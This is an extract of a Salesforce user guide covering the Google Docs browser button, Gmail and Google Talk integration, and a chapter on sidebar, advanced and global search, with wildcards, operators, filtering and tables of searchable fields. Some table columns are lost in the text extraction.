Note: Because Customer Portal and partner portal users do not have access to the Google Docs, Notes, & Attachments
or Google Docs & Attachments related list in the portal, portal users can only obtain the browser button from the
Contribute tab in Salesforce CRM Content.
If you use more than one type of browser, for example Microsoft Internet Explorer and Mozilla Firefox, install the browser
button in each browser. Google Chrome is not supported for the browser button. The instructions for installing the browser
button depend on your browser. In Firefox, drag the browser button to your Bookmarks Toolbar. In Apple Safari, drag the
browser button to your Bookmark Bar. In Internet Explorer:
Note: The instructions may vary slightly based on your version of Internet Explorer.

1.
2.
3.
4.

Right-click the browser button and choose Add to Favorites... from the Add Google Doc to Salesforce page.
Save the browser button in the Links folder and click Add.
In your browser menu bar, click View > Toolbars and ensure that the Links toolbar is visible.
Close and restart your browser. The browser button displays in your Links toolbar.

336

Salesforce for Google Apps

Associating Google Docs with Salesforce Records

Note: If you change your personal language setting in Salesforce and want to change the language on the browser
button also, you must delete and reinstall the browser button.

See Also:
Adding Google Docs to Salesforce
Associating Google Docs with Salesforce Records

Associating Google Docs with Salesforce Records


Available in: All Editions except Database.com

User Permissions Needed


Associating a Google doc with a Salesforce record:

Read on the appropriate record type


AND
Google Apps account

When you create, edit, or view a Google doc from your online Docs home page in your Google Apps account, click the Add
Google Doc to Salesforce browser button to associate the Google doc with one or more Salesforce records.
If Salesforce CRM Content is enabled in your organization, you can also add the Google doc to a Salesforce CRM Content
library. Including Google docs in Salesforce CRM Content allows users to access all types of content from a single location
and apply Salesforce CRM Content functionality, such as votes, comments, and subscriptions, toGoogle docs.
To associate a Google doc with Salesforce records from the Docs home page:
1.
2.
3.
4.
5.
6.

Open a Google doc.


Click the Add Google Doc to Salesforce browser button.
In the Add Google Doc To field, enter your search criteria for the Salesforce record.
Select an object type from the drop-down list and click Search.
Optionally, filter your search results with the Limit to items I own checkbox.
In the search results, select one or more records and click Add Google Doc to Selected Records. You can also click any
of the fields in the search-results list to view more information about the record(s).

To associate a Google doc with Salesforce CRM Content from the Docs home page:
1. Open a Google doc.
2. Click the Add Google Doc to Salesforce browser button.
3. In the Salesforce CRM Content message window at the top of the page, click Publish your Google Doc into Salesforce
CRM Content. The message only displays if you are a member of a Salesforce CRM Content library and have a library
permission that allows you to contribute content.
4. In the Describe and Publish window, add a title for your Google doc and, optionally, a description.
5. Choose a library.

337

Salesforce for Google Apps

Using Gmail in Salesforce

6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
7. To publish the content on behalf of another author, choose that author from the drop-down list.
8. Tag your content. Your tagging permission depends on the tagging rule assigned to the library:

If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
10. After completing any custom fields, click Publish. All library members can now search for this doc and provide feedback
such as comments and votes.
Note: While your Google doc is open, remember to share it with other Google Apps users in your organization.
Only Google Apps users with whom the doc is shared can view and edit the doc.

See Also:
Using Google Docs in Salesforce
Adding Google Docs to Salesforce
Google Apps Overview

Using Gmail in Salesforce


Available in: All Editions except Database.com

User Permissions Needed


Activating Gmail in Salesforce:

Customize Application

Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To
use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 323.

338

Salesforce for Google Apps

Using Gmail in Salesforce

Gmail (also called Google Mail) is a free Web-based email service from Google that operates on all standard browsers and
can be used with your company's domain. You can integrate Gmail with Salesforce in two ways:

Gmail to Salesforce
Gmail Buttons and Links

Gmail to Salesforce
Gmail to Salesforce allows you to automatically log emails and chats you send from your Gmail account as activities on lead,
contact, opportunity, and other records that support activity history in Salesforce.
Gmail to Salesforce is based on the Email to Salesforce feature. To activate Gmail to Salesforce for your organization, follow
the instructions in Enabling Email to Salesforce on page 1043. To configure your personal Gmail to Salesforce setup, follow
the instructions in Guidelines on Using Email to Salesforce on page 269.

Gmail Buttons and Links


Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in Activity
History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button, Salesforce automatically
logs you into your Gmail account and automatically populates the To field. If Gmail to Salesforce is activated, Salesforce also
populates the BCC field with your Email to Salesforce address.
To activate Gmail Buttons and Links:
1.
2.
3.
4.
5.

Click Your Name > Setup > Google Apps > Settings.
In the Activate Google Apps Services list, click Edit next to Gmail Buttons and Links.
Select the Active checkbox to activate Gmail Buttons and Links for your organization.
Select the Gmail Links checkbox to add Gmail links next to all email fields (except email fields on pages under Setup).
Select the Gmail Buttons checkbox to add Compose Gmail buttons in Activity History related lists on leads and
contacts.
6. Read the Terms of Use, and select the checkbox indicating you have read and agree to them.
7. Click Save.

Implementation Notes

If your organization enables Gmail Buttons and Links but does not enable Gmail to Salesforce, you can still use the Gmail
links on contact and lead records; however, Salesforce does not log emails you send from your Gmail account, or automatically
populate the BCC field on the Compose Mail screen with an Email to Salesforce address.
For information about Gmail, refer to Google's online help.

See Also:
Google Apps Overview

339

Salesforce for Google Apps

Using Google Talk in Salesforce

Using Google Talk in Salesforce


Available in: All Editions except Database.com

User Permissions Needed


Activating or deactivating Google Talk:

Customize Application

Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To
use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 323.
Google Talk is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in Salesforce,
Google Talk displays in the sidebar where it can be toggled on, off, or expanded into its own window. You can also log a chat
record as an activity on a Salesforce lead or contact record.

Activating Google Talk


To activate or deactivate Google Talk in Salesforce:
1.
2.
3.
4.

Click Your Name > Setup > Google Apps > Settings.
Click Edit next to the Google Talk Sidebar Component option in the Activate Google Apps Services list.
Select or deselect the Active checkbox.
If you are activating the Google Talk Sidebar Component, read the Terms of Use and select the checkbox indicating you
agree to the Terms of Use.
5. Click Save.

Tips for Using Google Talk

For information about using Google Talk, refer to Google's online help.
Google Talk appears in both standard and custom sidebar layouts on all tabs.
Because Google Talk chats are automatically saved in Gmail, users with Email to Salesforce can log a Google Talk chat
as an activity on a lead or contact. For more information see Using Gmail in Salesforce on page 338.
When Google Talk is in the sidebar, refreshing a Salesforce page causes Google Talk to momentarily disconnect and
reconnect. For longer chats, open Google Talk in its own window by clicking pop out next to the Google Talk sidebar
component.
Google Talk is not available for Customer Portal or partner portal users.

See Also:
Google Apps Overview
Setting Up Google Apps in Salesforce

340

Search and Tags

Search Overview

SEARCH AND TAGS


Search Overview
Available in: All Editions except Database.com

Search for salesforce.com records and tags using:


Sidebar Search
From the sidebar search box you can search a subset of objects and fields. You can use wildcards and filters to refine your
search.
Advanced Search
Click Advanced Search... in the sidebar to search a subset of objects in combination and more fields than sidebar search,
including custom fields and long text fields such as descriptions, notes, and task and event comments. You can use
wildcards, operators, and filters to refine your search.
Global Search
From the header search box you can search more objects than sidebar search and advanced search, including articles,
documents, products, solutions, and Chatter feeds, files, groups, and people. You can also search more fields than sidebar
search, including custom fields, and long text fields such as descriptions, notes, and task and event comments. You can
use wildcards, operators, and filters to refine your search. Global search keeps track of which objects you use and how
often you use them, and arranges the search results accordingly. Search results for the objects you use most frequently
appear at the top of the list.
You must enable Chatter to enable global search.
Note: If global search is enabled, sidebar search and advanced search aren't enabled.

Global search is not supported in partner portal or Customer Portal.


Only users with supported browsers can use global search.

Other Search Utilities


Some objects have unique search utilities on their tabs. Global search results include these objects with the exception of Article
Management and Salesforce CRM Content. Neither sidebar search nor advanced search can find these objects; use the search
feature on the tab to find them.

Solutions
Documents
Salesforce CRM Content

341

Search and Tags

How Search Works

Products
Articles
Article Management
Tip: Your administrator can customize your Home tab to include the product, document, or solution search in the
sidebar.

See Also:
How Search Works
Searching in Salesforce.com
Refining Search
Browsing, Searching, and Managing Tags
Customizing Search Settings
Customizing Search Layouts

How Search Works


Available in: All Editions except Database.com

Search uses custom algorithms, including natural language analysis (NLA) techniques such as tokenization, stemming (articles
and files), and stopword lists, to return meaningful search results.
Tokenization breaks down all searchable text into smaller pieces at spaces, punctuation, and alphanumeric boundaries and
stores them in search indexes. When you perform a search, your results include matches on the tokens in your search term.
For example, a search for web2lead returns matches for web, 2, and lead.
Stemming is the process of reducing a word to its root form. With stemming, search can match expanded forms of a search
term, as long as they are the same figure of speech. For example, a search for run matches run, running, and ran, but
not runner.
Stopword lists contain words that are ignored in search terms for each supported language (for example, the, to, and for).
These words are removed from the search and are not matched on to avoid irrelevant results.
Search further refines matches based on:

Proximity and frequency of search terms in an item


Any search options you specify
Pinned items on your search results page
Item ownership
Item popularity or importance determined by page views or the number of related lists
Recent interaction with an item, for example if you view or edit a record

Two users performing the same search might have different search results, because searches are configured for the user
performing the search. For example, if you own or recently viewed an item, its relevancy increases and the item moves higher
in your search results.

342

Search and Tags

How Search Works

How your search works depends on whether you're using sidebar, advanced, or global search.

See Also:
Search Overview
Searching in Salesforce.com
Refining Search
Search Fields

How Sidebar Search Works


Available in: All Editions except Database.com

How your sidebar search works depends on your search options, search terms, and the use of wildcards.
Search Options
Sidebar search searches only a subset of records and fields, including name, phone, email, and standard address fields.
If the sidebar search drop-down list is available, you can limit your search to only tags or the records for a single object.
If the sidebar search Limit to items I own checkbox is available, you can select this box to limit your search to
records you own.
Search Terms
Searches are conducted as a phrase search and match terms in the exact sequence that they appear. For example, searching
for bob jones returns items with Bob Jones, but not Bobby Jones or Bob T Jones. Likewise, searching for acct!4 only
returns items with acct!4 in a single string.
Wildcards and Operators
You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or
? to match a single character. An * is automatically appended to your search string. For example, searching for bob jo
finds items with Bob Jones and Bob Johnson, and searching for jo?n finds items with john and joan. You can't use operators
to refine results in sidebar search.

See Also:
Searching in Salesforce.com
Refining Search
Search Results

343

Search and Tags

How Search Works

How Advanced Search Works


Available in: All Editions except Database.com

How your advanced search works depends on your search options, search terms, and the use of wildcards and operators.
Search Options
Advanced search searches more record types and fields than sidebar search, including attachments, custom fields, and
long text fields such as descriptions, notes, and task and event comments.
Select Limit to items I own, if available, to limit your search to records you own, including case comments and
reports that you created. Click Advanced Search... and choose one or more objects by which to limit your search. You
can also restrict your search to divisions, if your organization uses them.
Search Terms
Search terms are treated as separate words and may be found in different searchable fields within a record. For example,
searching for bob jones returns items with Bob Jones, as well as a contact named Bob Smith whose email address is
bsmith@jones.com.
Search terms are separated by letter, number, and punctuation boundaries. For example, searching for acct!4 returns
items with Acct, !, and 4, even if those terms are in separate places in the item.
Wildcards and Operators
You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or
? to match a single character. For example, searching for bob jo* finds items with Bob Jones and Bob Johnson, and
searching for jo?n finds items with john and joan. You can also use the AND, OR, AND NOT, ( ) (parentheses), and
" " (quotation marks) operators to refine results.

See Also:
Searching in Salesforce.com
Refining Search
Search Results

How Global Search Works


Available in: All Editions except Database.com

Global search searches more record types, including articles, documents, products, solutions, and Chatter feeds, files, groups,
and people. Global search also searches more field types, including custom fields and long text fields such as descriptions,
notes, and task and event comments. Global search keeps track of which objects you use and how often you use them, and
arranges the search results accordingly. Search results for the objects you use most frequently appear at the top of the list. If
global search doesnt have enough information about which objects you use, you see results for your previous saved scope or
for all objects until it has more information.

344

Search and Tags

Searching in Salesforce.com

How your global search works depends on your search options, search terms, and the use of wildcards and operators.
Search Options
Search options let you restrict your search to the records you own, if available; to exact phrase searches; and to divisions,
if your organization uses them.
The search options you select are saved until you change them.
Note: Chatter feed searches aren't limited to your selected search options; Chatter feed search results include
matches across all objects.
Search options aren't available to Chatter Free users.
Search Terms
Search terms are treated as separate words and may be found in different searchable fields within a record. For example,
searching for bob jones returns items with Bob Jones, as well as a contact named Bob Smith whose email address is
bsmith@jones.com.
Search terms are separated by letter, number, and punctuation boundaries. For example, searching for acct!4 returns
items with Acct, !, and 4, even if those terms are in separate places in the item.
Tip: If you'd like to conduct a phrase search to match multiple terms in the exact sequence that they appear,
select Exact phrase in the Options or use quotations marks around your search terms.

Wildcards and Operators


You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or
? to match a single character. For example, searching for bob jo* finds items with Bob Jones and Bob Johnson, and
searching for jo?n finds items with john and joan. You can also use the AND, OR, AND NOT, ( ) (parentheses), and
" " (quotation marks) operators to refine results.

See Also:
Searching in Salesforce.com
Refining Search
Search Results

Searching in Salesforce.com
Available in: All Editions except Database.com

You can change search options before or after your search.


1. Enter your search terms in the sidebar or header search box.
2. Click Search (or Go! if you're using sidebar search).

345

Search and Tags

Refining Search

Tips for Searching in Salesforce

Your search term must have two or more characters. Special characters, such as " ? * ( ), aren't included in the character
count. For example, a search for (a) won't return any search results.
Search isn't case-sensitive. For example, a search for california finds the same items as a search for California.
Find phone numbers by entering part or all of a number. For example, to find (415) 999-3434, enter 4159993434, 999,
or 3434. To search for the last seven digits, you must enter the punctuation, such as 999-3434.
In Chinese, Japanese, and Korean, you can find a person by entering last name before first name; searching for jones
bob returns any person named Bob Jones.
If you're using advanced search or global search, refine your search using operators such as AND, OR, and AND NOT.
If you're using advanced search or global search, search for exact phrases by putting quotation marks around multiple
keywords, for example, "call john smith" finds items with call john smith, but not items with call john p. smith or
john smith called. If you're using sidebar search, your search string is automatically treated as a phrase search.
Search for partially matching terms using wildcards.
Asterisks match one or more characters at the middle or end (not the beginning) of your search term. For example, a
search for john* finds items that start with variations on the term john, such as, johnson or johnny. A search for mi*
meyers finds items with mike meyers or michael meyers. If you're using sidebar search, an * is automatically appended
to the end of the search string.
Question marks match only one character in the middle or end (not the beginning) of your search term. For example,
a search for jo?n finds items with the term john or joan but not jon or johan. If you're using global search, the ? is
removed from the end of your search term and isn't treated as a wildcard.

See Also:
Search Overview
How Search Works
Refining Search
Search Fields

Refining Search
Available in: All Editions except Database.com

Improve your search results by:

Changing search options


Sidebar search
Advanced search
Global search

Using wildcards

346

Search and Tags

Refining Search

Using operators, if you're using advanced search or global search

See Also:
Search Overview
How Search Works
Searching in Salesforce.com
Search Results

Changing Sidebar Search Options


Available in: All Editions except Database.com

Refine your search results by:


Choosing which objects to search
If the sidebar search drop-down list is available, you can limit your search to a single object. In the drop-down list, select
the object you want. Select Search All to search across all objects.
Note: When all objects are selected, the search results don't return article, article management, content, document,
product, and solution records. You can search for these records on their respective tabs.

Searching only items you own


If the Limit to items I own checkbox is available, you can search only items you own, including case comments
and reports that you created.
Note: When Limit to items I own is selected, the search results don't return asset, idea, invoice, order,
question, quote, reply, and user records because these records don't have owners.

Searching within a division


If you have the Affected by Divisions permission, specify which divisions you want to search. If your organization uses
divisions but you don't have the Affected by Divisions permission, your search results include records in all divisions.
If you restrict your search options, the options you select appear under the search box on the Search Results page.

See Also:
How Search Works
Searching in Salesforce.com
Search Results

347

Search and Tags

Refining Search

Changing Advanced Search Scope


Available in: All Editions except Database.com

1. Click Advanced Search... in the sidebar.


2. Refine your search results by:
Searching only items you own
In the Advanced Options section, select Limit to items I own, if available.
Note: When Limit to items I own is selected, the search results don't return asset, idea, invoice, order,
question, quote, reply, and user records because these records don't have owners.

Searching for an exact phrase


In the Advanced Options section, select Exact phrase. This is the same as using quotation marks around your
search string.
Searching within a division
If you have the Affected by Divisions permission, specify which divisions you want to search. If your organization
uses divisions but you don't have the Affected by Divisions permission, your search results include records in all
divisions.
Choosing which objects to search
In the Scope section, select the objects for which you want to return search results. If you don't select any objects,
your search returns all possible objects. Click Select All or Deselect All to quickly select all or no objects.
Note: When all objects are selected, the search results don't return article, article management, content,
document, product, and solution records. You can search for these records on their respective tabs.

3. Click Search.
If you restrict your search scope, the scope you select appears under the search box on the Advanced Search Results page.
Click Advanced Search under the search box to change your search scope again.

See Also:
How Search Works
Searching in Salesforce.com
Search Results

348

Search and Tags

Refining Search

Changing Global Search Options


Available in: All Editions except Database.com

1. Click Options... next to the search box in the results page.


Search options aren't available to Chatter Free users.
2. Refine your search results by:

Selecting Limit to items I own, if available.


Note: When Limit to items I own is selected, the search results don't return article, asset, idea, invoice,
order, people, product, question, quote, and reply records because these records don't have owners.

Selecting Exact phrase. This is the same as using quotation marks around your search string.
Searching within a division. If you have the Affected by Divisions permission, specify which divisions you want to
search. If your organization uses divisions but you don't have the Affected by Divisions permission, your search results
include records in all divisions.

3. Click Save & Search.


The search options you select are saved until you change them.
Note: Chatter feed searches aren't limited to your selected search options; Chatter feed search results include
matches across all objects.

See Also:
How Search Works
Searching in Salesforce.com
Search Results

Refining Search Using Wildcards


Available in: All Editions except Database.com

Wildcards
Wildcard

Description

* (asterisk)

Asterisks match one or more characters at the middle or end (not the beginning) of your
search term. For example, a search for john* finds items that start with variations on the
term john, such as, johnson or johnny. A search for mi* meyers finds items with mike meyers
or michael meyers. If you're using sidebar search, an * is automatically appended to the end of

349

Search and Tags

Wildcard

Refining Search

Description
the search string. You can use an * at the beginning of a search term in a standard lookup
search.

? (question mark)

Question marks match only one character in the middle or end (not the beginning) of your
search term. For example, a search for jo?n finds items with the term john or joan but not
jon or johan. If you're using global search, the ? is removed from the end of your search term
and isn't treated as a wildcard. You can't use a ? in a lookup search.

Wildcard Behavior and Limitations

Wildcards take on the type of the preceding character. For example, aa*a matches aaaa and aabcda, but not aa2a or aa.!//a,
and p?n matches pin and pan, but not p1n or p!n. Likewise, 1?3 matches 123 and 143, but not 1a3 or 1b3.
You can't search for a ? or * in a search phrase that is enclosed in quotation marks or when Exact phrase is selected in the
search scope because they function as wildcards. For example, "my wo?d" matches my wood and my word.
You can't use wildcards in the middle of Chinese, Japanese, Korean, or Thai search terms.
If you're entering search terms in global search, the search box drop-down list gives you the option to search for your term
with an * added to the end. For example, type jo in the search box, then select Search for jo* (starts with) to find joan,
john, johnson, and other matches that start with jo.

See Also:
How Search Works
Searching in Salesforce.com
Search Results

Refining Search Using Operators


Available in: All Editions except Database.com
Operators not available in: Connect Offline

Sidebar and standard lookup search don't support the use of operators.
Operators
Operator

Description

AND

Finds items that match all of the search terms. For example, acme AND california finds
items with the word acme and the word california, but not items with only the word acme.
Using AND is optional in most cases, because searching for acme california is the same
as searching for acme AND california. However, when searching articles, documents,
and solutions on their respective tabs, AND must be used because OR is the default operator
for these objects on their tabs.

350

Search and Tags

Refining Search

Operator

Description

OR

Finds items with at least one of the search terms. For example, acme OR california
finds items with either acme or california or both.

AND NOT

Finds items that don't contain the search term. For example, acme AND NOT california
finds items that have the word acme but not the word california.

( ) (parentheses)

Group search terms together. Grouped search terms are evaluated before other search terms
in your string. See Search Order on page 351.

" " (quotation marks)

Find an exact phrase. Sidebar search automatically places the quotation mark operators around
any search string that you enter. This is the same as selecting Exact phrase in advanced
search or global search. For example, a search for "monday meeting" finds items that
contain monday meeting, but not items that contain monday afternoon meeting or monday's
meeting. The asterisk (*) and question mark (?) function as wildcards when included in a search
phrase that is enclosed in quotation marks or when Exact phrase is selected in the search
scope.

Search Order
When you combine multiple operators in a search string, they are evaluated in this order:
1. () (parentheses)
2. AND and AND NOT (evaluated from right to left)
3. OR
These examples show how search strings are evaluated:
Searching for...

Is the same as...

Finds items with the words...

acme AND california AND NOT acme AND (california AND NOT acme and california but not meeting
meeting
meeting)
acme AND NOT california AND acme AND NOT (california AND acme but not with both california and
meeting
meeting
meeting)
acme AND california OR
meeting

(acme AND california) OR


meeting

acme and california and items with the


word meeting

acme AND (california OR


meeting)

acme AND (california OR


meeting)

acme and california and items with the


words acme and meeting

See Also:
How Search Works
Searching in Salesforce.com
Search Results

351

Search and Tags

Search Results

Search Results
Available in: All Editions except Database.com

Your search results include items and tags that you have permission to view. How your results appear and how you can interact
with them depends on whether youre using:

Sidebar or advanced search


Global search

Regardless of your search type, you can:

Filter your search results


Customize columns in your search results
(Administrators only) Customize filters for all users search results

See Also:
Search Overview
How Search Works
Searching in Salesforce.com
Refining Search
Field-Level Security Overview
Browsing, Searching, and Managing Tags

Sidebar and Advanced Search Results


Available in: All Editions except Database.com

Your search results include related lists for items and tags that you have permission to view.
From this page you can:

Click a related list item at the top of the page to jump directly to an object's results.
Objects with results are displayed in alphabetical order. The number of results for each object is displayed. For example,
Contacts [25+] means there are more than 25 contacts that match your search criteria. If your search returns a large number
of results for a particular object, click Next Page or Previous Page to view the results.

Click a result to open it or click Edit, if available.


Click My Columns to customize columns in your search results.
Click Show Filters, if available, to filter your search results.
(Administrators only) Click Customize... to customize filters and specify search results columns and column order for all
users' search results.

352

Search and Tags

Search Results

Click Advanced Search..., if available, to refine your search.

See Also:
Search Overview
How Sidebar Search Works
How Advanced Search Works
Searching in Salesforce.com
Changing Sidebar Search Options
Changing Advanced Search Scope

Global Search Results


Available in: All Editions except Database.com

Watch a Demo on Smart Search (2:12 minutes)


Your search results include items and tags that you have permission to view. Global search keeps track of which objects you
use and how often you use them, and arranges the search results accordingly. Search results for the objects you use most
frequently appear at the top of the list. If global search doesnt have enough information about which objects you use, you see
results for your previous saved scope or for all objects until it has more information.

From this page you can:


1. Click Search Chatter Updates at the top left of the page to see Chatter posts and comments that include your search
terms.

353

Search and Tags

Search Results

On the Chatter updates results page, save a topic or search result to your favorites on the Chatter page by clicking Add to
Chatter Favorites.
2. Quickly see which items (ordered by most frequent use) were searched.

Click any item to see only that item's results.


Hover over and pin important items to the top of your results to manually change the order. You can always unpin
them later.

3. Click Search All at the bottom of the left side or under the related lists to do a one-time search across all items using your
current search terms.
After clicking Search All, you can pin items that dont appear in your scope to the top of your search results. You can
always unpin them later.
4. Use the search box in the page to search within your current view. For example, if you drill down to view Chatter Updates
and then decide to search Chatter for something different, enter your new search terms and click Search Chatter Updates
to search across all Chatter posts and comments.
5. Click Options... to restrict your search to records you own, if available, to exact phrase searches, and to divisions, if your
organization uses them.
6. Take a guided tour of the search results.
7. See up to five results for each item you searched.

Click a result to open it or click Edit, if available.


Click Show Filters, if available, to filter your search results.
Click Show More to drill down to the full list of that item's results.

8. Drill down to a specific item's results, and then:

Click Show Filters, if available, to filter your search results.


Click My Columns to customize columns in your search results.

354

Search and Tags

Search Results

(Administrators only) Click Customize... to customize filters and specify search results columns and column order for
all users' search results.

See Also:
Chatter Feed Search Results
Search Overview
How Global Search Works
Searching in Salesforce.com
Changing Global Search Options

Customizing Search Results Columns


Available in: All Editions except Database.com

For most objects, you can specify the enhanced lookup and search results columns and column order.
1. In the object's search results related list, click My Columns (Administrators click Customize... > My Columns).
2. To choose columns, use Add and Remove.
Your administrator determines the available columns in a search layout. If search layouts aren't available for the object,
such as articles, dashboards, reports, and tags, you can't customize the columns.
3. To reorder columns, use Up and Down.
4. Click Save.
5. Click column headings to sort the results in ascending or descending order.
Sorting applies across all search results for a particular object, including those on subsequent pages. You can't click on
column headings for multi-select picklist fields because you can't sort the multi-select picklist field type.

See Also:
How Search Works
Searching in Salesforce.com
Refining Search
Search Results

355

Search and Tags

Search Results

Filtering Search Results


Available in: All Editions except Database.com

To restrict search or enhanced lookups results for objects, you can use filters. Your administrator determines the available filter
fields in a search layout. If your administrator didn't create a search layout for the object or if search layouts aren't available
for the object, such as articles, dashboards, reports, and tags, you can't filter your results.
Filters aren't available in Customer Portals or partner portals.
Filtering Search Results for Most Objects
1. Click Show Filters in a search results related list.
2. Enter filter criteria using the following tips and click Apply Filters.

When filtering search results, the operator is selected automatically based on the field type. The = (equals) operator
is used for fields with the following types of fields:
Dates
Numbers, except auto number or phone fields
Record IDs
All other fields use the contains operator. Auto number and phone fields use the contains operator because they
can contain non-numeric characters.

Except for number fields, commas are used as OR operators in search results filters. For example, if you enter
acme, california in the Account Name filter field, your results include account names with either acme
or california. For number fields (where a comma can be part of a number) commas aren't treated as OR operators
and users must explicitly enter the OR operator.
Note: Explicitly using the OR operator is only supported in number fields.

The criteria you specify are AND based. That is, if you specify more than one criterion, the result includes only
records that match all of the criteria. For example, if you enter acme california in the Account Name
filter field, your results include account names with both acme and california.
Any field of type URL is filtered based on the exact value that is entered by the user for that field.
Tip: We recommend that you don't include http:// or https:// in URL filter criteria because you
may not get the results that you expect.
When you enter values in URL fields and save records, Salesforce adds http:// to any URL that doesnt
start with http:// or https://. The added http:// isn't stored in the database. For example, if you
enter salesforce.com in the Website field and save the record, the Website field displays
http://salesforce.com, but the value stored is salesforce.com. Therefore, if you enter
http://salesforce.com in the Website filter field, your results don't include your record.

You can enter special values for dates; see Special Date Values for Filter Criteria.
If your organization uses multiple currencies, see Tips for Entering Filter Criteria on Multiple Currencies.

356

Search and Tags

Search Fields

If you perform a blank lookupthat is, you click the lookup icon without entering a search termfilters only
apply to items in the most recently used list. Otherwise, filters apply to both this list and the resulting records of
the lookup.

Clearing and Hiding Filters


Click Clear Filters to remove all filters and see unfiltered search results. Click Hide Filters to apply the filters but not
display them on the page.
Filtering Search Results for Articles, Files, Products, and Solutions
To filter the results for articles, files, and products, and to further filter the results for solutions, click the link in the
appropriate results related list. Your search and results automatically appear on the new page. If you filter the solutions
results on the Search Results page and then use the link in the appropriate results related list to further filter your results,
your filter options aren't applied on the new page.

See Also:
How Search Works
Searching in Salesforce.com
Refining Search
Search Results

Search Fields
The types of records you can search vary according to which Edition you have.

You can search for information within any of the fields listed in the following tables.
Search for articles; Chatter groups, files, and people; Salesforce CRM Content; documents; products; and solutions on their
tabs or with global search (sidebar search and advanced search aren't designed to find these objects). Search for information
in Chatter feeds using global search.
Note: Users can search fields that are hidden from them by field-level security. When users search for a value in a
field hidden to them, the search results include the record that contains the field, even though users can't see the field.

Business Account Fields


Person Account Fields
Article Fields
Asset Fields
Attachment Fields
Campaign Fields
Case Fields
Chatter Feed Fields
Chatter Group Fields
Contact Fields

357

Search and Tags

Search Fields

Salesforce CRM Content Fields


Contract Fields
Contract Line Item Fields
Custom Object Fields
Document Fields
Entitlement Fields
File Fields
Idea Fields
Lead Fields
Note Fields
Opportunity Fields
People Fields
Price Book and Product Fields
Question Fields
Quote Fields
Report Fields
Service Contract Fields
Solution Fields
Tags
Task, Calendar Event, and Requested Meeting Fields
User Fields
Lookup Search Fields

Business Account Fields


Search Type
Field Searched

Sidebar

Advanced

Global

Account Name
Account Name (Local)
Account Number
Account Site
Billing Address
Description
Fax
Phone
Shipping Address
Ticker Symbol
Website

358

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

Person Account Fields


Search Type
Field Searched

Sidebar

Advanced

Global

Account Name
Account Name (Local)
Account Number
Account Site
Assistant
Assistant Phone
Billing Address
Description
Email
Fax
Home Phone
Mailing Address
Mobile
Other Address
Other Phone
Shipping Address
Ticker Symbol
Title
Website

359

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All account and contact
custom fields of type text, text
area, long text area, rich text
area, email, and phone

Article Fields
Neither sidebar search nor advanced search are designed to find articles. To find an article, use global search or the search
tools in the sidebar on the Articles tab. For more information, see Searching for Articles on page 3292.
Search Type
Field Searched

Sidebar

Advanced

Global

Articles Tab

All standard text fields


Body
File

All custom
auto-number fields and
custom fields that are
set as an external ID
(You don't need to
enter leading zeros.)
All custom fields of type
text, text area, long text
area, rich text area,
email, and phone

Asset Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Asset Name
Description
Serial Number

360

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

Attachment Fields
Search Type
Field Searched

Sidebar

Advanced

Global

File Name

Campaign Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Campaign Name
Description

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

Case Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Case Comments
Case Number

361

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

(You don't need to enter


leading zeros.)
Description
Subject
Web Company (of person who

submitted the case online)


Web Email (of person who

submitted the case online)


Web Name (of person who

submitted the case online)


Web Phone (of person who

submitted the case online)


All custom auto-number fields
and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

Chatter Feed Fields


Neither sidebar search nor advanced search are designed to find information in Chatter feeds. To find information in a feed,
use global search. For more information, see Searching in Chatter on page 2442.
Search Type
Field Searched

Sidebar

Advanced

Global

@Name (where Name is a user

namefor example,
@Madison Rigsby)
Comment Body
Parent Record Name
Post Body
Poster Name

362

Search and Tags

Search Fields

Chatter Group Fields


Neither sidebar search nor advanced search are designed to find Chatter groups. To find a Chatter group, use global search
or the search tools on the Groups tab. For more information, see Searching in Chatter on page 2442.
Search Type
Field Searched

Sidebar

Advanced

Global

Groups Tab

Description
Group Name

Contact Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Assistant
Asst. Phone
Department
Description
Email
Fax
First Name
First Name (Local)
Home Phone
Last Name
